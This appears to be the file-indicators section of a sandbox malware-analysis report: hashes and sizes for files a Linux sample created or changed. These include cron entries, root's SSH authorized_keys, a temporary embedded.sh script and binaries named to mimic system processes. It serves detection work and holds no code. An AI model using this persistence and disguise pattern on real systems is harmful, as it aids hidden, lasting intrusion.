- SHA256 b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
- MD5 896f6d504f181bd883a90b84069bcf70
- SHA1 86fd682d1932d9e14461796e5f0fe776b8ce9d5c
- SHA512 1f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
- TLSH T1B090028D452CAD101A544D12A3712E95C08428348B4397415468028B4152192313009E
- MD5 SHA1 SHA512 TLSH
- Path /bin/top
- Size 53B
- SHA256 561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
- MD5 6956a4d6a2444151c11a73517215cb34
- SHA1 b279ad496f640f44418aa7e5e27a4d458bddb7fb
- SHA512 ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
- TLSH T11990028D05189D101A548A11A3716E99908514248987AB815069018A4141193356015E
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.d/zzh
- Size 53B
- SHA256 ff1d557b85a902fbe4d2d0b0f3e79307f1f7e6dc36c537a824e920c5e8ece2de
- MD5 3a615a3d1952b1e2c0cb584bd253f7f9
- SHA1 79465a5e611f19f140f169ac5bc3a9ab382696ef
- SHA512 8819cd4ef33fe59b8618ac7a2f116169b2effeb87f2353b674ef08c8297dbbda75112c5dd882c60b05c9cedeab0aa3dd79e06923b2a2db0cad8a3ec2b6c5532e
- TLSH T1889002B6541558466804AD289604406E084355A111953A426DCD4490461C30F0517661
- MD5 SHA1 SHA512 TLSH
- Path /etc/crontab
- Size 50B
- SHA256 e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
- MD5 b2ecca8d419b5c3fa2ee7621efa75eb7
- SHA1 3adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
- SHA512 c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
- TLSH T19B9002B6541548466804EC189605605E0843956100553A426ECD4490461830E0116621
- MD5 SHA1 SHA512 TLSH
- Path /etc/zzhs
- Size 9B
- SHA256 7e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
- MD5 970d39f8690eff0fe573e7bcf51bda9b
- SHA1 46f8f835d3d3d41f063d0e8346260bb622b01a3f
- SHA512 24952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
- MD5 SHA1 SHA512
- Path /etc/zzhs
- Size 2B
- SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
- MD5 b026324c6904b2a9cb4b88d6d61c81d1
- SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
- SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 1B
- SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
- MD5 68b329da9893e34099c7d8ad5cb9c940
- SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
- SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 557B
- SHA256 cfc3a74939edac785d66664757b3c877a7e5f4fae29b3a5bdf8b55e79573dfb5
- MD5 12bf68ad9999dcbc8bd1d9a728d600aa
- SHA1 7f302d2df5e075f879586cb0ab1dcc0b0870cc98
- SHA512 ef6a8c50fd411622eefae30bfcc962368f355ec897b0136b2290784344ce735c3b3d51feda679e3c42ab524197d6515f1f8699e17598171a1b888b0fbe5229e7
- TLSH T1D7F0412660AB00C72912188CD3308E3638CE05F2B4E4050A5414A142D2B549AC6E62FC
- MD5 SHA1 SHA512 TLSH
- Path /tmp/tmp.ssnvnqzQMY/embedded.sh
- Size 46KB
- SHA256 e81282e300ea08bcbc690ec1b403295f570a2a07888e0025c1b937f1d0c4eb1a
- MD5 0cec4bedba50d029b5f3f8923123b2da
- SHA1 64e902ab0ff54809d89d685ac195ce0b7cdcf397
- SHA512 f47841afd973ed61a1dfca1d5a4eb1b3aae02ab6dc5da51751764ed76c2dc7af17430672c1f9b3bb67edc42e8fc110f50785808935b59f08fbb1159efa9b73b7
- SSDEEP 768:xxlT2wDuWvWi7vFNcuFkc2zq0x3UKnicZuiR/amT8p:G6F+Lc2/FicfSmT8p
- TLSH T17123AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /usr/bin/irqbalanced
- Size 2B
- SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
- MD5 6d7fce9fee471194aa8b5b6e47267f03
- SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
- SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
- MD5 SHA1 SHA512
- Path /usr/bin/kswaped
- Size 2B
- SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
- MD5 26ab0db90d72e28ad0ba1e22ee510510
- SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
- SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
- MD5 SHA1 SHA512
- Path /usr/bin/pamdicks
- Size 2B
- SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
- MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
- SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
- SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
- MD5 SHA1 SHA512
- Path /usr/bin/rctlcli
- Size 2B
- SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
- MD5 48a24b70a0b376535542b996af517398
- SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
- SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
- MD5 SHA1 SHA512
- Path /usr/bin/systemd-network
- Size 2B
- SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
- MD5 1dcca23355272056f04fe8bf20edfce0
- SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
- SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
- MD5 SHA1 SHA512